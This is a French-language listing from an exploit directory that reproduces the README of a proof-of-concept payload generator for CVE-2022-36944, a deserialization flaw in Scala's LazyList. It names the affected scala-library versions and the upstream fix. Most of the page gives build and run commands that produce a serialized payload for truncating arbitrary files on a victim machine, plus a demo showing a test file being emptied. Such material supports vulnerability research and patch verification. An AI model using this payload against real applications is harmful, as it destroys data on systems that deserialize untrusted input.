Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
lazylist-cve-poc — POC pour l'exploit de la vulnérabilité CVE-2022-36944 | Kitploit
Outils/GitHubGitHub/yarocher/lazylist-cve-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHubyarocher/lazylist-cve-poc

lazylist-cve-poc

POC pour l'exploit de la vulnérabilité CVE-2022-36944

Voir le dépôt
11113il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Générateur de payload CVE-2022-36944

Ce mini-projet est créé pour démontrer une preuve de concept de la vulnérabilité CVE-2022-36944. Il est similaire à ysoserial, mais génère une payload uniquement pour cette CVE avec la classe LazyList.

FAQ rapide

Quels artefacts apportent la vulnérabilité ?

org.scala-lang:scala-library avec les versions 2.13.x antérieures à 2.13.9

Quelles applications sont vulnérables ?

Deux conditions doivent être réunies pour que votre application soit exploitable :

  • Votre application contient le jar scala-library vulnérable dans le classpath
  • ObjectInputStream#readObject() est éventuellement appelé quelque part dans votre application et des données non fiables (contrôlées par l'attaquant) lui sont transmises
  • Où la vulnérabilité a-t-elle été corrigée ?

    Voir la PR Scala : #10118

    Build

    root@kitploit:~
    mvn clean package
    

    Exécution

    La commande suivante affichera la payload sur la sortie standard, qui peut être utilisée pour tronquer un fichier arbitraire sur la machine de la victime :

    root@kitploit:~
    mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"
    

    Démo

    A) Via un fichier

    1. Préparer un fichier de test avec quelques données à l'intérieur :
    root@kitploit:~
    $ yes sometestdata > test_data
    ^C
    $ head test_data 
    sometestdata
    sometestdata
    sometestdata
    sometestdata
    sometestdata
    sometestdata
    sometestdata
    sometestdata
    sometestdata
    sometestdata
    
    1. Générer la payload et l'enregistrer dans le fichier payload.ser :
    root@kitploit:~
    $ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser
    
    1. Exécuter le processus victime (ClassCastException attendue) :
    root@kitploit:~
    $ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
    [ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
    [ERROR] 
    [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
    [ERROR] Re-run Maven using the -X switch to enable full debug logging.
    [ERROR] 
    [ERROR] For more information about the errors and possible solutions, please read the following articles:
    [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
    
    1. Vérifier que le fichier victime est tronqué :
    root@kitploit:~
    $ head test_data 
    $ 
    

    B) Pipe vers l'entrée standard

    Les étapes 2-3 peuvent être combinées de cette manière (utiliser "-" comme fichier pour Victim) :

    root@kitploit:~
    $ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
    [ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
    [ERROR] 
    [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
    [ERROR] Re-run Maven using the -X switch to enable full debug logging.
    [ERROR] 
    [ERROR] For more information about the errors and possible solutions, please read the following articles:
    [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
    
    Télécharger l’outil